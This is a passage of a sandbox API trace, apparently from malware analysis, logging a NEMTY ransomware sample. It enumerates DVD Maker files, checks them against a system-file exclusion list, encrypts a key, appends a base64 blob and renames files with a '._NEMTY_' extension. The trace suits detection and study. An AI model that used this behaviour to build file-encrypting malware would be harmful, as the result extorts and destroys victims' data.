Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv._nemty_kgobjgd_")) returned 0 [0054.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0054.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0054.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0054.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0054.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0054.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0054.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0054.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0054.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0054.282] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2=".") returned 1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="..") returned 1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="...") returned 1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="windows") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="$RECYCLE.BIN") returned 1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="rsa") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="NTDETECT.COM") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="ntldr") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="MSDOS.SYS") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="IO.SYS") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="boot.ini") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="boot.ini") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="ntuser.dat") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="desktop.ini") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="CONFIG.SYS") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="RECYCLER") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="BOOTSECT.BAK") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="bootmgr") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="programdata") returned -1 [0054.282] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="appdata") returned 1 [0054.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0054.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground.wmv", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0054.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0054.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground.wmv", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 33 [0054.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0054.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94358 [0054.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground.wmv", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0054.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0054.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground.wmv", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 33 [0054.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0054.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0054.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0054.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0054.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground.wmv", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0054.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0054.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground.wmv", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 33 [0054.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0054.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0054.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground.wmv", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0054.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0054.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground.wmv", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 33 [0054.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0054.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0054.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0054.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0054.283] Sleep (dwMilliseconds=0x5) [0054.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd40819d0, dwHighDateTime=0x1d561e7)) [0054.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd40819d0, dwHighDateTime=0x1d561e7)) [0054.342] GetLastError () returned 0x5 [0054.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.342] GetLastError () returned 0x5 [0054.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0054.343] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0054.343] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0054.343] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0054.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0054.343] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="SihpFqdSIB7uJ3rsH5YG5NzI8UjBTW6OBeNKkPQIzh6amK4HjWROgbvvEcGAH7OR\r\nhsqE0RLwgFiDZX2gj7lUWelHi5CC73t2QATnR2ZHlfgbcaZMjcbOppRJcwXlb7Yn\r\niuIh4JW0bodFbg8Y72y+zwlJzn0SdlVEBtHmOGrq5hfAO6liSeHbuXArnECtLOy3\r\nsrm3rJMmyQV2CHNdtc+8lJCCUoqLCbqxhtUb3Zm8eWAxjLEG+QrwhUdZRm4/TUua\r\n1p3g5RiJydy6Dfh1Elv7gFWHYObGOV6V5qo9wBlwasWQ5wkzNVlJt1iEDycTF2Hr\r\n5C1to79kb5ZIoLVWde6fiw==\r\n", pcchString=0x653e91c) returned 1 [0054.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340270 [0054.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0054.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0054.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0054.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0054.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403e8 [0054.343] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0054.351] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0054.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0054.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.379] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0054.458] CloseHandle (hObject=0xffffffff) returned 0 [0054.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0054.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0054.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0054.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0054.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0054.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0054.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0054.459] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv._nemty_kgobjgd_")) returned 0 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0054.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0054.459] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, 